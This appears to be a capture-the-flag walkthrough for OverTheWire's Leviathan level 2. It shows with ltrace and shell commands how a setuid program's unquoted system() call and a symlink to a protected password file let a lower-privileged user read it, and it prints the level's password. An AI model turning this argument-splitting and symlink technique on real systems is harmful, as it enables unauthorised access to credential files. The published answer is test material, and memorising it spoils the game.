OverTheWire Leviathan Wargame Solution 2

Leviathan2 presents us with a small binary that belongs to the user leviathan3 and group leviathan2. The program contains a small security hole that can be exploited using a symbolic link.  To understand how the program functions at its core and what is happening behind the scenes when the program executes, we will use a few Linux commands and techniques to enlighten us with this information.

Edited: 3/18/2014:

  • Updated with current solution
  • Made more readable

Leviathan 2->3:

leviathan2@melinda:~$ ls -la
total 28
drwxr-xr-x 2 root root 4096 Jun 6 2013 .
drwxr-xr-x 160 root root 4096 Oct 17 09:23 ..
-rw-r--r-- 1 root root 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 root root 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 root root 675 Apr 3 2012 .profile
-r-sr-x--- 1 leviathan3 leviathan2 7365 Jun 6 2013 printfile

#Running "printfile" we can see that it wants a file path

leviathan2@melinda:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename

For the sake of this updated tutorial, we are going to go ahead and create a directory and a file with a space in the name all in one go:

mkdir /tmp/solveme && touch /tmp/solveme/file\ tmp.txt

#Let's relocate into our newly created directory:
cd /tmp/solveme

#Check what's inside, we see our file with a space:
leviathan2@melinda:/tmp/solveme$ ls -la
total 2560
drwxrwxr-x    2 leviathan2 leviathan2    4096 Mar 19 03:40 .
drwxrwx-wt 1826 root       root       2613248 Mar 19 03:40 ..
-rw-rw-r--    1 leviathan2 leviathan2       0 Mar 19 03:40 file tmp.txt

#Now, let's examine what is happening with ltrace:
leviathan2@melinda:/tmp/solveme$ ltrace ~/printfile "file tmp.txt"
__libc_start_main(0x80484f4, 2, -10348, 0x80485d0, 0x8048640
access("file tmp.txt", 4) = 0
snprintf("/bin/cat file tmp.txt", 511, "/bin/cat %s", "file tmp.txt") = 21
system("/bin/cat file tmp.txt"/bin/cat: file: Permission denied
/bin/cat: tmp.txt: No such file or directory
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++

So, what is happening here is a small security hole in how this program functions. We can see that the function access() and /bin/cat are being called on the file. What access() does is check permissions based on the process’ real user ID rather than the effective user ID.

While access does use the full file path, the cat on the file is not using the full file path. We can see this near the end of the output where /bin/cat/ is being called to tmp.txt as if it were a separate file, it’s really the second half of our filename. This can be exploited if we create a symbolic link from the password file to the file we created in /tmp.

Let’s create the symbolic link, but with only the first part of the filename we created before the space.

leviathan2@melinda:/tmp/solveme$ ln -s /etc/leviathan_pass/leviathan3 /tmp/solveme/file

#Checking our directory, we see file tmp.txt was not converted
#to a symlink, but a separate symlink called "file" was created.

leviathan2@melinda:/tmp/solveme$ ls -la
total 2560
drwxrwxr-x 2 leviathan2 leviathan2 4096 Mar 19 03:41 .
drwxrwx-wt 1826 root root 2613248 Mar 19 03:56 ..
lrwxrwxrwx 1 leviathan2 leviathan2 30 Mar 19 03:41 file -> /etc/leviathan_pass/leviathan3
-rw-rw-r-- 1 leviathan2 leviathan2 0 Mar 19 03:40 file tmp.txt

Calling ~/printfile on the file that actually links to the password will fail.

leviathan2@melinda:/tmp/solveme$ ~/printfile "file"
You cant have that file...

#Hmmm, let's try calling it on the other file:
leviathan2@melinda:/tmp/solveme$ ~/printfile "file tmp.txt"
/bin/cat: tmp.txt: No such file or directory

Bingo, the file did actually access the symbolic link correctly up until file, but then tried to incorrectly cat the part of the file name after the space as if it were another file.

This all works because /printfile is owned by leviathan3. Access will call the symlink with that privilege. But we also needed to utilize a syntax hack to make it work, hence the filename with a space in it. Be sure to check out the reference pages for the access() and ltrace for some background.

Enjoy the password for level 3: Ahdiemoo1j